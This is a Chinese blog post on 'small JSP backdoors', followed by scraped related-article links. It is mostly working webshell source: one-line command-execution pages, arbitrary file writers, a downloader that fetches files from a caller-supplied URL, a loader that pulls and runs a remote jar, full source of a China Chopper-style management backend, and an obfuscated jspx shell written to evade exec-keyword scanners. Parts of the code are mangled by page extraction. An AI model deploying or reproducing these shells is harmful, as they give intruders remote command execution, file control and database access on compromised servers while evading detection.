jsp小后门

一：执行系统命令:

无回显执行系统命令：

1	`<%Runtime.getRuntime().exec(request.getParameter("i"));%>`

请求：http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls 执行之后不会有任何回显，用来反弹个shell很方便。 有回显带密码验证的:

<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("

<pre>");

while((a=in.read(b))!=-1){

out.println(new String(b,0,a));

}

out.print("</pre>

");

}

%>

请求：http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

二、把字符串编码后写入指定文件的：

1	`<%new` `java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%>`

请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录：

1	`<%new` `java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%>`

请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2:

1	`<%new` `java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>`

请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录:

1	`<%new` `java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>`

请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 三：下载远程文件(不用apache io utils的话没办法把inputstream转byte,所以很长...)

<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %>

请求：http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png

下载到web路径:

<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %>

请求：http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png

四：反射调用外部jar,完美后门

如果嫌弃上面的后门功能太弱太陈旧可以试试这个：

1	`<%=Class.forName("Load",true,new` `java.net.URLClassLoader(new` `java.net.URL[]{new` `java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null,` `new` `Object[]{request.getParameterMap()})%>`

请求：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar&023=A 菜刀连接：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar，密码023. 解：利用反射加载一个外部的jar到当前应用，反射执行输出处理结果。request.getParameterMap()包含了请求的所有参数。由于加载的是外部的jar包，所以要求服务器必须能访问到这个jar地址。下载：Cat.jar Load代码：

import java.io.IOException;

import java.util.HashMap;

import java.util.Map;

import java.util.Map.Entry;

/*

* To change this license header, choose License Headers in Project Properties.

* To change this template file, choose Tools | Templates

* and open the template in the editor.

*/

/**

*

* @author yz

*/

public class Load {

public static String load(Map<string,string[]> map){

try {

Map<string,string> request = new HashMap<string,string>();

for (Entry<string, string[]=""> entrySet : map.entrySet()) {

String key = entrySet.getKey();

String value = entrySet.getValue()[0];

request.put(key, value);

}

return new Chopper().doPost(request);

} catch (IOException ex) {

return ex.toString();

}

}</string,></string,string></string,string></string,string[]>

Chopper代码：

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

import java.io.BufferedInputStream;

import java.io.BufferedReader;

import java.io.BufferedWriter;

import java.io.ByteArrayOutputStream;

import java.io.File;

import java.io.FileInputStream;

import java.io.FileOutputStream;

import java.io.IOException;

import java.io.InputStream;

import java.io.InputStreamReader;

import java.io.OutputStreamWriter;

import java.lang.reflect.Method;

import java.net.HttpURLConnection;

import java.net.URL;

import java.net.URLClassLoader;

import java.sql.Connection;

import java.sql.DriverManager;

import java.sql.ResultSet;

import java.sql.ResultSetMetaData;

import java.sql.Statement;

import java.text.SimpleDateFormat;

import java.util.Date;

import java.util.Map;

public class Chopper{

public static String getPassword() throws IOException {

return "023";

}

String cs = "UTF-8";

String encoding(String s) throws Exception {

return new String(s.getBytes("ISO-8859-1"), cs);

}

Connection getConnection(String s) throws Exception {

String[] x = s.trim().split("\r\n");

try {

Class.forName(x[0].trim());

} catch (ClassNotFoundException e) {

boolean classNotFound = true;

BufferedReader br = new BufferedReader(new InputStreamReader(this.getClass().getResourceAsStream("/map.txt")));

String str = "";

while ((str = br.readLine()) != null) {

String[] arr = str.split("=");

if (arr.length == 2 && arr[0].trim().equals(x[0].trim())) {

try {

URLClassLoader ucl = (URLClassLoader) ClassLoader.getSystemClassLoader();

Method m = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);

m.setAccessible(true);

m.invoke(ucl, new Object[]{new URL(arr[1])});

Class.forName(arr[0].trim());

classNotFound = false;

break;

} catch (ClassNotFoundException ex) {

throw ex;

}

if (classNotFound) {

throw e;

}

if (x[1].contains("jdbc:oracle")) {

return DriverManager.getConnection(x[1].trim() + ":" + x[4],

x[2].equalsIgnoreCase("[/null]") ? "" : x[2],

x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);

} else {

Connection c = DriverManager.getConnection(x[1].trim(),

x[2].equalsIgnoreCase("[/null]") ? "" : x[2],

x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);

if (x.length > 4) {

c.setCatalog(x[4]);

}

return c;

}

void listRoots(ByteArrayOutputStream out) throws Exception {

File r[] = File.listRoots();

for (File f : r) {

out.write((f.getName()).getBytes(cs));

}

void dir(String s, ByteArrayOutputStream out) throws Exception {

File l[] = new File(s).listFiles();

for (File f : l) {

String mt = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date(f.lastModified()));

String rw = f.canRead() ? "R" : "" + (f.canWrite() ? " W" : "");

out.write((f.getName() + (f.isDirectory() ? "/" : "") + "\t" + mt + "\t" + f.length() + "\t" + rw + "\n").getBytes(cs));

}

void deleteFiles(File f) throws Exception {

if (f.isDirectory()) {

File x[] = f.listFiles();

for (File fs : x) {

deleteFiles(fs);

}

f.delete();

}

byte[] readFile(String s) throws Exception {

int n;

byte[] b = new byte[1024];

BufferedInputStream bis = new BufferedInputStream(new FileInputStream(s));

ByteArrayOutputStream bos = new ByteArrayOutputStream();

while ((n = bis.read(b)) != -1) {

bos.write(b, 0, n);

}

bis.close();

return bos.toByteArray();

}

void upload(String s, String d) throws Exception {

String h = "0123456789ABCDEF";

File f = new File(s);

f.createNewFile();

FileOutputStream os = new FileOutputStream(f);

for (int i = 0; i < d.length(); i += 2) { os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1)))); } os.close(); } void filesMove(File sf, File df) throws Exception { if (sf.isDirectory()) { if (!df.exists()) { df.mkdir(); } File z[] = sf.listFiles(); for (File z1 : z) { filesMove(new File(sf, z1.getName()), new File(df, z1.getName())); } } else { FileInputStream is = new FileInputStream(sf); FileOutputStream os = new FileOutputStream(df); int n; byte[] b = new byte[1024]; while ((n = is.read(b)) != -1) { os.write(b, 0, n); } is.close(); os.close(); } } void fileMove(File s, File d) throws Exception { s.renameTo(d); } void mkdir(File s) throws Exception { s.mkdir(); } void setLastModified(File s, String t) throws Exception { s.setLastModified(new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").parse(t).getTime()); } void downloadRemoteFile(String s, String d) throws Exception { int n = 0; FileOutputStream os = new FileOutputStream(d); HttpURLConnection h = (HttpURLConnection) new URL(s).openConnection(); InputStream is = h.getInputStream(); byte[] b = new byte[1024]; while ((n = is.read(b)) != -1) { os.write(b, 0, n); } os.close(); is.close(); h.disconnect(); } void inputStreamToOutPutStream(InputStream is, ByteArrayOutputStream out) throws Exception { int i = -1; byte[] b = new byte[1024]; while ((i = is.read(b)) != -1) { out.write(b, 0, i); } } void getCurrentDB(String s, ByteArrayOutputStream out) throws Exception { Connection c = getConnection(s); ResultSet r = s.contains("jdbc:oracle") ? c.getMetaData().getSchemas() : c.getMetaData().getCatalogs(); while (r.next()) { out.write((r.getObject(1) + "\t").getBytes(cs)); } r.close(); c.close(); } void getTableName(String s, ByteArrayOutputStream out) throws Exception { Connection c = getConnection(s); String[] x = s.trim().split("\r\n"); ResultSet r = c.getMetaData().getTables(null, s.contains("jdbc:oracle") ? x.length > 5 ? x[5] : x[4] : null, "%", new String[]{"TABLE"});

while (r.next()) {

out.write((r.getObject("TABLE_NAME") + "\t").getBytes(cs));

}

r.close();

c.close();

}

void getTableColumn(String s, ByteArrayOutputStream out) throws Exception {

String[] x = s.trim().split("\r\n");

Connection c = getConnection(s);

ResultSet r = c.prepareStatement("select * from " + x[x.length - 1]).executeQuery();

ResultSetMetaData d = r.getMetaData();

for (int i = 1; i <= d.getColumnCount(); i++) { out.write((d.getColumnName(i) + " (" + d.getColumnTypeName(i) + ")\t").getBytes(cs)); } r.close(); c.close(); } void executeQuery(String cs, String s, String q, ByteArrayOutputStream out, String p) throws Exception { Connection c = getConnection(s); Statement m = c.createStatement(1005, 1008); BufferedWriter bw = null; try { boolean f = q.contains("--f:"); ResultSet r = m.executeQuery(f ? q.substring(0, q.indexOf("--f:")) : q); ResultSetMetaData d = r.getMetaData(); int n = d.getColumnCount(); for (int i = 1; i <= n; i++) { out.write((d.getColumnName(i) + "\t|\t").getBytes(cs)); } out.write(("\r\n").getBytes(cs)); if (f) { File file = new File(p); if (!q.contains("-to:")) { file.mkdir(); } bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.contains("-to:") ? p.trim() : p + q.substring(q.indexOf("--f:") + 4, q.length()).trim()), true), cs)); } while (r.next()) { for (int i = 1; i <= n; i++) { if (f) { bw.write(r.getObject(i) + "" + "\t"); bw.flush(); } else { out.write((r.getObject(i) + "" + "\t|\t").getBytes(cs)); } } if (bw != null) { bw.newLine(); } out.write(("\r\n").getBytes(cs)); } r.close(); if (bw != null) { bw.close(); } } catch (Exception e) { out.write(("Result\t|\t\r\n").getBytes(cs)); try { m.executeUpdate(q); out.write(("Execute Successfully!\t|\t\r\n").getBytes(cs)); } catch (Exception ee) { out.write((ee.toString() + "\t|\t\r\n").getBytes(cs)); } } m.close(); c.close(); } public String doPost(Map<string,string>request) throws IOException {

cs = request.get("z0") != null ? request.get("z0") + "" : cs;

ByteArrayOutputStream out = new ByteArrayOutputStream();

try {

char z = (char) request.get(getPassword()).getBytes()[0];

String z1 = encoding(request.get("z1") + "");

String z2 = encoding(request.get("z2") + "");

out.write("->|".getBytes(cs));

String s = new File("").getCanonicalPath();

byte[] returnTrue = "1".getBytes(cs);

switch (z) {

case 'A':

out.write((s + "\t").getBytes(cs));

if (!s.substring(0, 1).equals("/")) {

listRoots(out);

}

break;

case 'B':

dir(z1, out);

break;

case 'C':

String l = "";

BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));

while ((l = br.readLine()) != null) {

out.write((l + "\r\n").getBytes(cs));

}

br.close();

break;

case 'D':

BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));

bw.write(z2);

bw.flush();

bw.close();

out.write(returnTrue);

break;

case 'E':

deleteFiles(new File(z1));

out.write("1".getBytes(cs));

break;

case 'F':

out.write(readFile(z1));

case 'G':

upload(z1, z2);

out.write(returnTrue);

break;

case 'H':

filesMove(new File(z1), new File(z2));

out.write(returnTrue);

break;

case 'I':

fileMove(new File(z1), new File(z2));

out.write(returnTrue);

break;

case 'J':

mkdir(new File(z1));

out.write(returnTrue);

break;

case 'K':

setLastModified(new File(z1), z2);

out.write(returnTrue);

break;

case 'L':

downloadRemoteFile(z1, z2);

out.write(returnTrue);

break;

case 'M':

String[] c = {z1.substring(2), z1.substring(0, 2), z2};

Process p = Runtime.getRuntime().exec(c);

inputStreamToOutPutStream(p.getInputStream(), out);

inputStreamToOutPutStream(p.getErrorStream(), out);

break;

case 'N':

getCurrentDB(z1, out);

break;

case 'O':

getTableName(z1, out);

break;

case 'P':

getTableColumn(z1, out);

break;

case 'Q':

executeQuery(cs, z1, z2, out, z2.contains("-to:") ? z2.substring(z2.indexOf("-to:") + 4, z2.length()) : s.replaceAll("\\\\", "/") + "images/");

break;

}

} catch (Exception e) {

out.write(("ERROR" + ":// " + e.toString()).getBytes(cs));

}

out.write(("|<-").getBytes(cs)); return new String(out.toByteArray()); } }</string,string>

map.txt:

oracle.jdbc.driver.OracleDriver=http://javaweb.org/jdbc/classes12.jar

com.mysql.jdbc.Driver=http://javaweb.org/jdbc/mysql-connector-java-5.1.14-bin.jar

com.microsoft.jdbc.sqlserver.SQLServerDriver=http:

//javaweb.org/jdbc/sqlserver2000/msbase.jar,http://javaweb.org/jdbc/sqlserver2000/mssqlserver.jar,http://javaweb.org/jdbc/sqlserver2000/msutil.jar

com.microsoft.sqlserver.jdbc.SQLServerDriver=http://javaweb.org/jdbc/sqljdbc4.jar

com.ibm.db2.jcc.DB2Driver=http://javaweb.org/jdbc/db2java.jar

com.informix.jdbc.IfxDriver=http://javaweb.org/jdbc/ifxjdbc.jar

com.sybase.jdbc3.jdbc.SybDriver=http://javaweb.org/jdbc/jconn3d.jar

org.postgresql.Driver=http://javaweb.org/jdbc/postgresql-9.2-1003.jdbc4.jar

com.ncr.teradata.TeraDriver=http://javaweb.org/jdbc/teradata-jdbc4-14.00.00.04.jar

com.hxtt.sql.access.AccessDriver=http://javaweb.org/jdbc/Access_JDBC30.jar

org.apache.derby.jdbc.ClientDriver=http://javaweb.org/jdbc/derby.jar

org.hsqldb.jdbcDriver=http://javaweb.org/jdbc/hsqldb.jar

net.sourceforge.jtds.jdbc.Driver=http://javaweb.org/jdbc/jtds-1.2.5.jar

mongodb=http://javaweb.org/jdbc/mongo-java-driver-2.9.3.jar

无任何命令执行关键字的cmd.zip

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">

<jsp:directive.page contentType="text/html" pageEncoding="UTF-8"/>

<jsp:scriptlet>

Class<?> api = String.class.getClass().forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}));

Object obj2 = api.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class).invoke(api.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null, new Object[]{}), new Object[]{request.getParameter("str")});

java.lang.reflect.Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));

m.setAccessible(true);

java.util.Scanner s = new java.util.Scanner((java.io.InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");

out.write("<pre>" + (s.hasNext() ? s.next() : "") + "</pre>");

</jsp:scriptlet>

</jsp:root>

绕过exec关键字很简单，如果是纯代码检测用这个无任何命令执行关键字的命令执行jspx(参数str): cmd.jspx.zip 如果是语言层拦截了exec，那么可以通过反射java.lang.UNIXProcess类实现执行任意的命令。示例代码如下:

Class clazz = Class.forName("java.lang.ProcessImpl");

Constructor constructor = clazz.getDeclaredConstructors()[0];

constructor.setAccessible(true);

Process process = (Process) constructor.newInstance(

toCString(cmdarray[0]), argBlock, args.length,

null, envc[0], null, std_fds, false

);

如果不会写，自己参考"UNIXProcess.java"的代码就可以了。

jsp小后门的更多相关文章

Web前端开发：SQL Jsp小项目（一）
Jsp的学习算是告一段落,针对这段时间的学习,写了一个Jsp小项目来巩固学到的知识. 框架示意图 User list process UserAdd process 需要的界面效果: 需要工具:Ecl ...
JSP文件管理后门工具jsp-file-browser
JSP文件管理后门工具jsp-file-browser 在网页后门中,快速浏览服务器文件非常重要.为此,Kali Linux新增了一款JSP后门工具jsp-file-browser.该工具提供所有 ...
jsp小商城
一个小商城,当然,没淘宝那么厉害,只是那时学完j2ee后,发现java原来也可以做网站,学了数据库,servlet,jsp,当时是很惊喜的,可以直接做个这样的东西.而放到今天,学了更多之后,发现可以用 ...
jsp小测试--猜大小
page1.jpg: <%@ page language="java" import="java.util.*" pageEncoding="g ...
JSP小例子——实现用户登录小例子（不涉及DB操作）
实现用户登录小例子用户名和密码都为"admin",登陆成功使用服务器内部转发到login_success.jsp页面,并且提示登陆成功的用户名.如果登陆失败则请求重定向到login ...
Web前端开发：SQL Jsp小项目（二）------添加修改
沿着昨天整理好的页面,今天实现list页面中的修改, User update框架需要的效果图: 先看用户查询界面, 修改id为4的那个用户: 修改后返回用户查看界面. 1 .先是从list界面开始, ...
JSP小实例--计算器
package cn.com.caculate; import java.math.BigDecimal; public class caculate { private String firstNu ...
无框架JavaWeb简单增删改查,纯 jsp小练习
地址 : 纯本人手码 jsp练习>>>>>
jsp小基础归纳
JSP的本质就是一个Servlet,JSP的运行之前会先被Tomcat服务器翻译为.java文件,然后在将.java文本编译为.class文件,而我们在访问jsp时,处理请求的就是那个翻译后的类. 1 ...

随机推荐

Check类之duplicate declaration checking/Class name generation/Type Checking
1.duplicate declaration checking /** Check that variable does not hide variable with same name in * ...
css自动适应宽度
.itemContent { background-color:#F0F0F0; padding:3px 11px 11px 11px; text-align:justify; text-justif ...
Java SPI机制和使用示例
JAVA SPI 简介 SPI 是 Java 提供的一种服务加载方式,全名为 Service Provider Interface.根据 Java 的 SPI 规范,我们可以定义一个服务接口,具体的实 ...
C/C++程序调试和内存检测
程序出现错误很正常,一个优秀的程序员必须学会调试,发现错误并改正.减少程序错误最有效的方法是:在敲代码之前,多花点时间思考,如何构造程序,数据结构和算法,尽量把细节提前写下来,可以尝试着在纸上写出核心 ...
[转] 如何应用设计模式设计你的足球引擎（三和四）----Design Football Game（Part III and IV）
原文地址:http://www.codeproject.com/KB/cpp/applyingpatterns2.aspx 作者:An 'OOP' Madhusudanan 译者:赖勇浩(http:/ ...
[日常] 编写HTTP接口文档
一.什么是接口文档?在项目开发中,web项目的前后端分离开发,APP开发,需要由前后端工程师共同定义接口,编写接口文档,之后大家都根据这个接口文档进行开发,到项目结束前都要一直维护.二.为什么要写接口 ...
iOS开发常用函数
1. 三角函数 double sin (double); 正弦 double cos (double);余弦 double tan (double);正切 2 .反三角函数 double asin ...
山东第四届省赛C题： A^X mod P
http://acm.sdibt.edu.cn/JudgeOnline/problem.php?id=3232 Problem C:A^X mod P Time Limit: 5 Sec Memor ...
ASP.NET Core 2 学习笔记（十四）Filters
Filter是延续ASP.NET MVC的产物,同样保留了五种的Filter,分别是Authorization Filter.Resource Filter.Action Filter.Excepti ...
csharp:获取 DNS、网关、子网掩码、IP
/// <summary> /// DNS.网关.子网掩码.IP /// 涂聚文 2015 /// </summary> public class IPAddressStrin ...

jsp小后门

jsp小后门的更多相关文章

随机推荐

热门专题